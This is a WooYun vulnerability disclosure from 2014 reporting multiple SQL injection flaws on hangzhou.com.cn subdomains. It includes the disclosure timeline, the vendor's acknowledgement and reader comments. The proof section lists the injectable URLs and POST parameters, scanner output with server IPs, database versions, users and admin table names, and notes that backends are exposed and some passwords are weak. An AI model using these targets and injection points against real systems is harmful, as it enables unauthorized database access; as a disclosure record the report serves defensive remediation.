当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048489

漏洞标题：杭州网多处sql注入漏洞集合

相关厂商：hangzhou.com.cn

漏洞作者： 雅柏菲卡

提交时间：2014-01-10 15:50

修复时间：2014-02-24 15:51

公开时间：2014-02-24 15:51

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-10： 细节已通知厂商并且等待厂商处理中
2014-01-15： 厂商已经确认，细节仅向厂商公开
2014-01-25： 细节向核心白帽子及相关领域专家公开
2014-02-04： 细节向普通白帽子公开
2014-02-14： 细节向实习白帽子公开
2014-02-24： 细节向公众公开

简要描述：

................................................

详细说明：

......

漏洞证明：

post的 
url:http://form.hangzhou.com.cn/vote.php
data:q1664=2373&q1665%5B%5D=2377&q1665%5B%5D=2379&q1665%5B%5D=2380&vt_button=%E6%8F%90%20%E4%BA%A4&vt_btnsumbit=yes&voteid=422&q1665%5B%5D=2378
Target: 		http://form.hangzhou.com.cn/vote.php
Host IP:		122.224.215.10
Web Server: 	Apache/2.2.17 (Unix) PHP/5.2.4
Powered-by: 	PHP/5.2.4
DB Server: 	MySQL error based
Resp. Time(avg):	358 ms
Sql Version: 	5.1.52-community
Current DB: 	vt_form
Host Name: 	adv
Installation dir: 	/
Compile OS: 	unknown-linux-gnu
Table found: hl_admin
Table found: hl_categories
Table found: hl_vote
Table found: hl_admintype
Table found: hl_vote_list
Table found: hl_vote_name
Table found: hl_vote_value
Table found: hl_vote_option
url:http://web.hangzhou.com.cn/kanfang/message.php
data:nickname=88952634&act=add&content=88952634&link_id=995
Target: 		http://web.hangzhou.com.cn/kanfang/message.php
Host IP:		61.164.38.24
Web Server: 	Apache
Powered-by: 	PHP/5.2.17p1
DB Server: 	MySQL error based
Resp. Time(avg):	98 ms
Sql Version: 	5.5.24
Current DB: 	kanfang
Host Name: 	hzycjy
Installation dir: 	/usr/local/mysql
Compile OS: 	Linux
Table found: kf_admin
Table found: kf_link
Table found: kf_link_type
Table found: kf_message
Table found: kf_photo
Target: 		http://web.hangzhou.com.cn/zsjs/2013jk/article.php?nid=110
Host IP:		61.164.38.24
Web Server: 	Apache
Powered-by: 	PHP/5.2.17p1
DB Server: 	MySQL >=5
Resp. Time(avg):	100 ms
Current User: 	2013jkzsjs@localhost
Sql Version: 	5.5.24
Current DB: 	2013jkzsjs
System User: 	2013jkzsjs@localhost
Host Name: 	hzycjy
Installation dir: 	/usr/local/mysql
Compile OS: 	Linux
DB User: 	'2013jkzsjs'@'localhost'
Data Bases: 	information_schema
		2013jkzsjs
		test
ables found: hl_admin,hl_admintype,hl_categories,hl_jkzsds2_answer,hl_jkzsds2_diqu,hl_jkzsds2_news,hl_jkzsds2_question,hl_jkzsds2_survey,hl_question
http://love.hangzhou.com.cn/Club_hd_hg_Content.aspx?id=88
QQ截图20140110152506.jpg




url:http://yst.hangzhou.com.cn/message.php
data：nickname=88952634&act=add&content=88952634&question_id=131231132590 
可能是注射
各个系统都是对外的  
后台也是对外的
部分的为弱口令
部分数据库权限为root   
旅游频道可能有注射 重点排查吧

修复方案：

.............................

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-01-15 14:13

厂商回复：

由于开发的疏忽导致此次漏洞的产生，非常感谢您的提醒，希望您继续为我们查漏补缺，再次感谢！！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-01-10 15:53 | 雅柏菲卡 ( 普通白帽子 | Rank:1213 漏洞数:234 | 雙魚座聖鬥士雅柏菲卡)

    @疯狗 求前台

  2. 2014-01-10 18:34 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @雅柏菲卡 soga 这个厂商是小厂商身份注册的 所以漏洞继承厂商等级